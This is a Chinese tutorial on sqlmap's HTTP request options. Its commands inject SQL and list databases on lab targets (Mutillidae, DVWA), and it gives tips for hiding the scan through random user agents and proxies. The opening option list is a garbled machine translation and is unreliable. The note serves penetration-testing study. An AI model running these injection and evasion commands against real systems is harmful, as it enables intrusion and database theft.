任務094:SQLMAP自動注入-REQUEST
-
請求類型的參數:
這些選項可用於指定如何連接到目標URL --method=method強制使用給定的HTTP方法(例如PUT) --data=要通過POST發送的數據數據字符串(例如“id=1”) PARAM-DEL = PARA。用於分割參數值的字符(例如&) --cookie=cookie HTTP cookie頭值(例如“PHPSESSID=a8d127e…”) --cookie del=首席運營官。。用於分割cookie值的字符(例如;) --加載cookies=L包含Netscape/wget格式cookies的文件 --從響應中刪除set cookie Ignore set cookie頭 --用戶代理=代理HTTP用戶代理頭值 --基於HTTP用戶代理頭的移動模擬智能手機 --隨機代理使用隨機選擇的HTTP用戶代理頭值 --host=host HTTP主機頭值 --referer=referer HTTP referer頭值 -H割臺,--hea額外標題(例如“X-Forwarded-For:127.0.0.1”) --headers=headers額外的headers(例如,“Accept Language:fr\nETag:123”) --auth type=auth。。HTTP身份驗證類型(基本、摘要、NTLM或PKI) --auth cred=驗證。。HTTP身份驗證憑據(名稱:密碼) --auth file=驗證。。HTTP認證PEM證書/私鑰文件 --忽略代碼=IG。。忽略(有問題的)HTTP錯誤代碼(例如401) --忽略代理忽略系統默認代理設置 --忽略重定向忽略重定向嘗試 --忽略超時忽略連接超時 --proxy=proxy使用代理連接到目標URL --代理cred=PRO代理身份驗證憑據(名稱:密碼) --代理文件=PRO從文件加載代理列表 --使用匿名網絡 --tor端口=TORPORT設置爲非默認代理端口 --tor type=TORTYPE設置爲代理類型(HTTP、SOCKS4或SOCKS5(默認值)) --檢查tor檢查tor是否正確使用 --delay=每個HTTP請求之間的延遲延遲(秒) --timeout=超時連接前等待的超時秒數(默認值30) --retries=連接超時時重試(默認3) ——給定參數的隨機化=rPARAM隨機變化值 --safe url=測試期間要經常訪問的SAFEURL url地址 --安全柱=安全將數據發送到安全的URL --安全要求=安全。。從文件加載安全的HTTP請求 --安全頻率=安全兩次訪問給定安全URL之間的測試請求 --跳過URL編碼跳過有效負載數據的URL編碼 --csrf令牌=CSR。。用於保存反CSRF令牌的參數 --csrf url=CSRFURL提取反csrf令牌要訪問的url地址 --csrf方法=CS。。訪問反CSRF令牌頁時使用的HTTP方法 --強制ssl強制使用ssl/HTTPS --分塊使用HTTP分塊傳輸編碼(POST)請求 --hpp使用HTTP參數污染方法 --eval=eval code在請求之前評估提供的Python代碼(例如。 “導入hashlib;id2=hashlib.md5(id.hexdigest()”)
SQLMAP是來進行sql注入的是給予http協議的
下面是參數的演示修改頭
-
參數 --data
get或post都適用
–data裏面放變量的
數據段:–data
1.1get演示
URL地址http://172.16.103.128/mutillidae/index.php?page=login.php
怎麼參數撒不包含sql注入的
要檢測有sql注入漏洞參數名稱是通過post數據部分進行傳輸的
在這個地方
叫上面的參數放到–data裏
然後進行–dbs掃描
–dbs查看你數據管理系統有多少庫顯示庫名
命令sqlmap -u "http://172.16.103.128/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs
1.2POST演示
原先的URL地址http://172.16.103.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details
用–data參數
命令
裏面存放post變量
裏面不放"?"了sqlmap -u "http://172.16.103.128/mutillidae/index.php" --data="page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --dbs
-
變量分隔符 --param-del
通常URL地址裏都是用
http://172.16.103.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details
是用的&進行分割的
還有的是用;進行分割的
http://1.1.1.1/a.php?q=foo;id=1
我們可以用–param-del進行修改分割符
列sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
-
cookie 頭
web應用需要基於cookie的身份認證,
3.1cookie 頭 --cookie
可以用–cookie進行添加cookie
在瀏覽器裏也可以找到cookie的
命令sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6c9388ff1b30ee4c444e21b5a2aff95e"
3.2. 然後掃描到其他網頁更換了cookie工具sqlmap會自動進行更換cookie的
我們可以添加一個--drop-set-cookie
不叫他更換cookie
3.3. sqlmap 會自動檢查cookie中的注入點(level>=至少是2)
加上–level 1-5
命令sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6c9388ff1b30ee4c444e21b5a2aff95e" --level 2 --dbs
-
參數–user-agent可以修改 user-agent
默認發的探測包不是其他想IE瀏覽器或者是其他瀏覽器發的包默認撒sqlmap發的
這樣的話網站管理員就會發現有人用sqlmap在掃那
4.1用–random-agent隨機user-agent
配置的user-agent在這個文件裏/usr/share/sqlmap/data/txt/user-agents.txt
–random-agent會隨機用上面這個文件裏的user-agent
命令sqlmap -u "http://192.168.54.56/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --random-agent
看一下就不是sqlmap了
4.2自己指定user-agent
命令sqlmap -u "http://192.168.54.56/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit- button=View+Account+Details" --user-agent aaaaa
可以看見是aaa
4.3使 sqlmap 檢查 user-agent 中的注入點:level >= 3
user-agent也是存在sql注入的
sqlmap掃描 user-agent 是否存在sql注入不須level>= 3 纔會看看user-agent 是否存在漏洞
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --random-agent --level 3
4.3如果出現了報錯服務器你的掃描就會包下面的錯誤
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent
-
host頭
修改host頭需要加上--host="xxxx"
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" –-host="aaaaaaaa" --dbs
掃描host頭是否存在sql漏洞level >= 5 纔可以
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" –-host="aaaaaaaa" --level 5 --dbs
-
Referer頭
referer頭是比如我們訪問一個網頁要跳轉到另外一個網頁原來的URL會在referer裏
6.1修改referer後面加上參數--referer="要指定的referer"
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --referer=="aaaaaaaa" --dbs
6.2要檢referer是否存在sql注入漏洞–level>=3纔可以
命令sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --referer=="aaaaaaaa" --level 3 --dbs
-
另外如果沒有這這個修改參數的頭可以用 --headers參數下面是他的使用
提示《裏面的頭名要給包的頭名一樣列Host》
7.1單個要修改的頭參數--headers="頭名:"要修改的東西""
這個就不演示了7.2要是多個必須換行\n參數
--headers="頭名:"要修改的東西\n"頭名:"要修改的東西"
命令
這個我就用Host頭和User-Agent頭sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA" --dbs
可以看見被修改了
-
掃描指定發的包GET和POST
參數--method=GET或POST
命令sqlmap -u "http://192.168.51.26/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --method=POST --dbs
-
基於HTTP協議的身份驗證
類型
Basic
Digest
NTLM
這個就不演示了
命令sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type=身份認證類型 --auth-cred="帳號:密碼"--proxy="http://代理的ip:代理的端口"
-
非常少見的居於客戶端證書來進行身份認證的
這個我也不太明白
參數--auth-file="證書"
-
http(s)代理
比如要做一次掃描可能就會被目標服務器屏蔽掉所以用代理他屏蔽的就是代理的ip,應爲你掃描的時候會發很多的探測包
參數--proxy="http://代理的ip:代理的端口"
如果代理有帳號密碼可以用這個參數--proxy-cred="帳號:密碼"
命令sqlmap -u "http://192.168.51.26/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"--proxy="http://127.0.0.1:8080"